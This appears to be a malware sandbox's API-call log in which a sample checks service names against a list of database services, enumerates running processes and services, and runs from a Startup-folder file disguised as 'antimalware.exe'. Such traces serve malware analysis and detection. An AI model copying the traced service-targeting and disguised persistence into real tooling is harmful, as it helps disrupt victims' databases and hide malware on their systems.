	[0137.914] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0137.914] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0137.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0137.914] lstrlenW (lpString="PlugPlay") returned 8
	[0137.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0137.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0137.914] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0137.914] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0137.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0137.914] lstrlenW (lpString="Power") returned 5
	[0137.914] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0137.914] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0137.914] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0137.914] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0137.914] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0137.914] lstrlenW (lpString="ProfSvc") returned 7
	[0137.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0137.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0137.915] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0137.915] lstrlenW (lpString="RpcEptMapper") returned 12
	[0137.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0137.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0137.915] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0137.915] lstrlenW (lpString="RpcSs") returned 5
	[0137.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0137.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0137.915] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0137.915] lstrlenW (lpString="SamSs") returned 5
	[0137.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0137.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0137.915] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0137.915] lstrlenW (lpString="Schedule") returned 8
	[0137.915] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0137.915] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0137.915] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0137.915] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0137.916] lstrlenW (lpString="SecurityHealthService") returned 21
	[0137.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0137.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0137.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0137.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0137.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0137.916] lstrlenW (lpString="SENS") returned 4
	[0137.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0137.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0137.916] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0137.916] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0137.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0137.916] lstrlenW (lpString="ShellHWDetection") returned 16
	[0137.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0137.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0137.916] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0137.916] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0137.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0137.916] lstrlenW (lpString="Spooler") returned 7
	[0137.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0137.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0137.916] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0137.916] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0137.916] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0137.916] lstrlenW (lpString="StateRepository") returned 15
	[0137.916] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0137.916] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0137.916] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0137.916] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0137.917] lstrlenW (lpString="SysMain") returned 7
	[0137.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0137.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0137.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0137.917] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0137.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0137.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0137.917] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0137.917] lstrlenW (lpString="Themes") returned 6
	[0137.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0137.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0137.917] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0137.917] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0137.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0137.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0137.917] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1
	[0137.917] lstrlenW (lpString="TimeBrokerSvc") returned 13
	[0137.917] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0137.917] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1
	[0137.917] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1
	[0137.918] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1
	[0137.918] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4578088 | out: hHeap=0x4f0000) returned 1
	[0137.918] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x488
	[0137.959] Process32FirstW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0137.959] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0137.960] lstrlenW (lpString="System") returned 6
	[0137.960] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0137.961] lstrlenW (lpString="smss.exe") returned 8
	[0137.961] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0137.962] lstrlenW (lpString="csrss.exe") returned 9
	[0137.962] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0137.963] lstrlenW (lpString="wininit.exe") returned 11
	[0137.963] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0137.964] lstrlenW (lpString="csrss.exe") returned 9
	[0137.964] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0137.964] lstrlenW (lpString="winlogon.exe") returned 12
	[0137.965] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0137.965] lstrlenW (lpString="services.exe") returned 12
	[0137.965] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0137.966] lstrlenW (lpString="lsass.exe") returned 9
	[0137.966] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0137.967] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0137.967] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0137.968] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0137.968] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.969] lstrlenW (lpString="svchost.exe") returned 11
	[0137.969] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.969] lstrlenW (lpString="svchost.exe") returned 11
	[0137.969] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x38c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0137.970] lstrlenW (lpString="dwm.exe") returned 7
	[0137.970] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0137.971] lstrlenW (lpString="svchost.exe") returned 11
	[0137.971] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.107] lstrlenW (lpString="svchost.exe") returned 11
	[0138.107] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.108] lstrlenW (lpString="svchost.exe") returned 11
	[0138.129] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x190, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.137] lstrlenW (lpString="svchost.exe") returned 11
	[0138.138] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.138] lstrlenW (lpString="svchost.exe") returned 11
	[0138.138] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.139] lstrlenW (lpString="svchost.exe") returned 11
	[0138.140] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.140] lstrlenW (lpString="svchost.exe") returned 11
	[0138.140] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x534, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.141] lstrlenW (lpString="svchost.exe") returned 11
	[0138.141] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.142] lstrlenW (lpString="svchost.exe") returned 11
	[0138.142] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.143] lstrlenW (lpString="svchost.exe") returned 11
	[0138.143] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0138.144] lstrlenW (lpString="spoolsv.exe") returned 11
	[0138.144] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x630, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.145] lstrlenW (lpString="svchost.exe") returned 11
	[0138.145] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x65c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x504, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0138.146] lstrlenW (lpString="audiodg.exe") returned 11
	[0138.146] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0138.439] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0138.439] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0138.440] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0138.440] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0138.441] lstrlenW (lpString="sihost.exe") returned 10
	[0138.441] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x794, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0138.442] lstrlenW (lpString="Memory Compression") returned 18
	[0138.442] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0138.443] lstrlenW (lpString="svchost.exe") returned 11
	[0138.443] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x878, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="MDMAgent.exe")) returned 1
	[0138.444] lstrlenW (lpString="MDMAgent.exe") returned 12
	[0138.444] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x190, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0138.445] lstrlenW (lpString="taskhostw.exe") returned 13
	[0138.445] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0138.445] lstrlenW (lpString="msoia.exe") returned 9
	[0138.446] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x190, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0138.446] lstrlenW (lpString="taskhostw.exe") returned 13
	[0138.446] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x9a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0138.447] lstrlenW (lpString="explorer.exe") returned 12
	[0138.447] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0138.448] lstrlenW (lpString="SearchUI.exe") returned 12
	[0138.448] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0138.449] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0138.449] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0138.450] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0138.450] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0138.451] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0138.451] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x9b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe")) returned 1
	[0138.452] lstrlenW (lpString="cusersmasterappdataroamingmicrosoftwindowsstart menuprogramsstartupantimalware.exe") returned 82
	[0138.452] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0138.453] lstrlenW (lpString="cmd.exe") returned 7
	[0138.453] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0138.454] lstrlenW (lpString="conhost.exe") returned 11
	[0138.454] Process32NextW (in: hSnapshot=0x488, lppe=0x263fd2c | out: lppe=0x263fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xdf8, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0138.455] CloseHandle (hObject=0x488) returned 1
	[0138.455] Sleep (dwMilliseconds=0x1f4) 
	[0139.265] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45b0520
	[0139.268] EnumServicesStatusExW (in: hSCManager=0x45b0520, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x263ff3c, lpServicesReturned=0x263ff54, lpResumeHandle=0x0) returned 0
	[0139.269] GetLastError () returned 0xea
	[0139.269] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x1b58) returned 0x4591700
